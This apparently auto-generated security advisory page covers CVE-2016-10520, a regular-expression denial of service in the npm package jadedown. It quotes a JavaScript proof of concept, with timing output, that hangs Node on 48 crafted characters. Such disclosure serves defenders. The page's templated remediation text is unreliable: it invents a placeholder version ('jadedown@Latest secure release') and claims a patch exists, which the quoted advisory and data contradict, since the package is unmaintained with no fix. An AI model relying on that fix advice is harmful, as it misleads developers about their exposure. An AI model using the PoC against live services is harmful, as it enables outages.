CVE-2016-10520: Jadedown Denial of Service Vulnerability

LOW
Advisory Identifier: GHSA-6354-6mhv-mvv5
CWE-400
Published
Advisory Summary

CVE-2016-10520 is a LOW denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Jadedown libraries in the npm ecosystem. The issue involves regular expression denial of service in jadedown. Remediation is available in the latest vendor maintenance releases.

CVE-2016-10520 at a Glance

CVE Identifier CVE-2016-10520
GHSA Identifier GHSA-6354-6mhv-mvv5
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Jadedown
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2016-10520

To remediate this vulnerability, upgrade all affected Jadedown dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jadedown fixed: Latest secure release
npm install jadedown@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls jadedown

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2016-10520, inspect your project dependencies using npm:

npm ls jadedown

Analyze the terminal output to locate any version of Jadedown in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls jadedown command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Jadedown, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in. ### Proof of concept ```js var jadedown = require('jadedown'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = genstr(i, 'f') + genstr(i, '#') + '{'; console.log("LENGTH: " + str.length); var start = process.hrtime(); jadedown(str) var end = process.hrtime(start); console.log(end); } ``` Results demonstrating blocking for 5 seconds using only 48 characters. ``` $ node jadedown.js COUNT: 1 LENGTH: 6 [ 0, 4014065 ] COUNT: 4 LENGTH: 12 [ 0, 503507 ] COUNT: 7 LENGTH: 18 [ 0, 325225 ] COUNT: 10 LENGTH: 24 [ 0, 1632684 ] COUNT: 13 LENGTH: 30 [ 0, 7541230 ] COUNT: 16 LENGTH: 36 [ 0, 80889495 ] COUNT: 19 LENGTH: 42 [ 0, 636009936 ] COUNT: 22 LENGTH: 48 [ 5, 820586760 ] ``` # Timeline - October 24, 2015 - Vulnerability Identified - October 24, 2015 - Maintainers Notified - October 25, 2015 - Response from Maintainers with intent to fix - January 5, 2016 - Advisory Published - January 11, 2016 - CVE Requested ## Recommendation This package is not actively maintained, and has not seen an update since 2011. The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

CVE-2016-10520 Affected Jadedown Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
jadedown
npm
≤ 0.0.3

References

Frequently Asked Questions

What is CVE-2016-10520?
CVE-2016-10520 is a security vulnerability in Jadedown involving Regular Expression Denial of Service in jadedown under CWE-400: Uncontrolled Resource Consumption.
Which Jadedown versions are affected?
Affected versions include releases prior to current release patches across affected packages: jadedown.
What version fixes CVE-2016-10520?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is jadedown affected?
Yes, jadedown is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2016-10520?
CVE-2016-10520 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2016-10520?
Run the dependency tree command: 'npm ls jadedown'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6354-6mhv-mvv5",
  "modified" : "2023-09-11T22:25:25Z",
  "published" : "2019-02-18T23:38:38Z",
  "aliases" : [ "CVE-2016-10520" ],
  "summary" : "Regular Expression Denial of Service in jadedown",
  "details" : "The `jadedown` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.\n\n\n### Proof of concept\n```js\nvar jadedown = require('jadedown');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = genstr(i, 'f') + genstr(i, '#') + '{';\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    jadedown(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n\n```\n\nResults demonstrating blocking for 5 seconds using only 48 characters.\n\n```\n$ node jadedown.js\nCOUNT: 1\nLENGTH: 6\n[ 0, 4014065 ]\nCOUNT: 4\nLENGTH: 12\n[ 0, 503507 ]\nCOUNT: 7\nLENGTH: 18\n[ 0, 325225 ]\nCOUNT: 10\nLENGTH: 24\n[ 0, 1632684 ]\nCOUNT: 13\nLENGTH: 30\n[ 0, 7541230 ]\nCOUNT: 16\nLENGTH: 36\n[ 0, 80889495 ]\nCOUNT: 19\nLENGTH: 42\n[ 0, 636009936 ]\nCOUNT: 22\nLENGTH: 48\n[ 5, 820586760 ]\n```\n\n# Timeline\n- October 24, 2015 - Vulnerability Identified\n- October 24, 2015 - Maintainers Notified\n- October 25, 2015 - Response from Maintainers with intent to fix\n- January 5, 2016 - Advisory Published\n- January 11, 2016 - CVE Requested\n\n\n## Recommendation\n\nThis package is not actively maintained, and has not seen an update since 2011. \n\nThe package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "jadedown"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2016-10520"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-6354-6mhv-mvv5"
  }, {
    "type" : "WEB",
    "url" : "https://www.npmjs.com/advisories/52"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2020-06-16T21:17:50Z",
    "nvd_published_at" : null
  }
}